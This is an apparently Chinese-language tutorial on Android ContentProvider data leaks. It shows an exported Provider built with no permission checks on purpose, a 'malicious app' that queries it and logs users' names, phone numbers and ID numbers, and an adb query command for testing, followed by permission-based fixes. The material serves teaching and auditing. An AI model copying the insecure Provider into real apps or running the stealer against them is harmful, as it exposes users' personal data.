ContentProvider数据泄露实战:未授权访问的Provider如何被第三方应用读取敏感数据
各位同学,今天我们来聊一个实战性很强的话题——ContentProvider数据泄露。说实话,这个漏洞在Android应用里太常见了。我做过不少安全审计,几乎每三个应用里就有一个存在Provider配置问题。说白了,就是开发者忘了给数据加把锁。
1. 什么是ContentProvider数据泄露?
ContentProvider是Android四大组件之一,专门用来跨进程共享数据。但问题就出在这个"共享"上——如果你不设置权限,任何应用都能来读取你的数据。
我举个例子。你开发了一个通讯录应用,用ContentProvider存储联系人信息。默认情况下,其他应用可以通过content://com.example.contacts/people这个URI直接读取所有联系人。嗯,这就是泄露。
2. 实战:搭建一个脆弱的Provider
我们先写一个存在漏洞的Provider。我在项目中见过太多类似的代码了——开发者图省事,结果酿成大祸。
// 漏洞Provider - 没有任何权限检查
public class VulnerableProvider extends ContentProvider {
@Override
public Cursor query(Uri uri, String[] projection, String selection,
String[] selectionArgs, String sortOrder) {
// 直接返回所有数据,没有任何权限校验
SQLiteDatabase db = dbHelper.getReadableDatabase();
return db.query("user_info", projection, selection,
selectionArgs, null, null, sortOrder);
}
@Override
public String getType(Uri uri) {
return "vnd.android.cursor.dir/vnd.userinfo";
}
// 其他方法省略...
}
再看看AndroidManifest.xml里的配置:
<provider
android:name=".VulnerableProvider"
android:authorities="com.example.leakapp.provider"
android:exported="true" />
看到没?exported="true",而且没有设置android:permission。这就相当于你家大门敞开着,谁都能进来翻东西。
3. 攻击者视角:如何读取这些数据?
现在,我们切换到攻击者的角度。写一个恶意应用,读取这个Provider里的数据。
// 恶意应用 - 读取未授权Provider的数据
public class MaliciousApp extends Activity {
private void stealData() {
// 目标Provider的URI
Uri targetUri = Uri.parse("content://com.example.leakapp.provider/user_info");
// 直接查询,没有任何权限验证
Cursor cursor = getContentResolver().query(
targetUri,
null, // 获取所有列
null,
null,
null
);
if (cursor != null && cursor.moveToFirst()) {
do {
// 读取所有字段
String name = cursor.getString(cursor.getColumnIndex("name"));
String phone = cursor.getString(cursor.getColumnIndex("phone"));
String idCard = cursor.getString(cursor.getColumnIndex("id_card"));
Log.d("STEAL", "姓名: " + name + ", 电话: " + phone + ", 身份证: " + idCard);
} while (cursor.moveToNext());
}
}
}
这段代码运行后,攻击者就能拿到所有用户数据。我曾经在一个金融类App里发现过类似问题——他们竟然把用户的银行卡号、身份证号都放在了一个没有权限保护的Provider里。想想都后怕。
4. 数据泄露的典型场景
根据我的经验,以下场景最容易出现Provider数据泄露:
| 场景 | 泄露的数据类型 | 风险等级 |
|---|---|---|
| 通讯录同步 | 联系人姓名、电话、邮箱 | 高 |
| 用户信息缓存 | 用户名、密码、Token | 极高 |
| 数据库备份 | 所有业务数据 | 极高 |
| 文件共享 | 图片、文档等文件 | 中 |
5. 攻击流程示意图
下面这张图展示了攻击的完整链路:
6. 如何检测这种漏洞?
我平时做安全审计时,会用以下几种方法检测:
- 静态代码分析:检查AndroidManifest.xml中所有Provider的exported属性和permission设置
- 动态测试:用adb命令直接查询Provider
- 自动化扫描:使用Drozer等工具批量检测
这里分享一个我常用的adb测试命令:
# 直接查询Provider,看能否获取数据
adb shell content query --uri content://com.example.leakapp.provider/user_info
# 如果返回了数据,说明存在漏洞
# Row: 0 name=张三, phone=13800138000, id_card=110101199001011234
7. 防护方案
修复这个问题其实很简单,就三步:
- 设置权限:在Provider标签中添加
android:permission属性 - 控制导出:非必要不设置
exported="true" - URI权限校验:在query、insert等方法中检查调用者的权限
正确的配置应该是这样的:
<provider
android:name=".SecureProvider"
android:authorities="com.example.secureapp.provider"
android:exported="true"
android:permission="android.permission.READ_CONTACTS" />
或者在代码中做更细粒度的控制:
@Override
public Cursor query(Uri uri, String[] projection, String selection,
String[] selectionArgs, String sortOrder) {
// 检查调用者是否有权限
int result = checkCallingPermission("com.example.READ_USER_INFO");
if (result != PackageManager.PERMISSION_GRANTED) {
throw new SecurityException("没有访问权限");
}
// 正常查询
return db.query("user_info", projection, selection,
selectionArgs, null, null, sortOrder);
}
好了,关于ContentProvider数据泄露的实战演示就到这里。记住一句话:Provider不是保险箱,不加锁的数据就是在裸奔。下次写Provider时,多想想你的数据会不会被别人轻易拿走。
公众号:蓝海资料掘金营,微信deep3321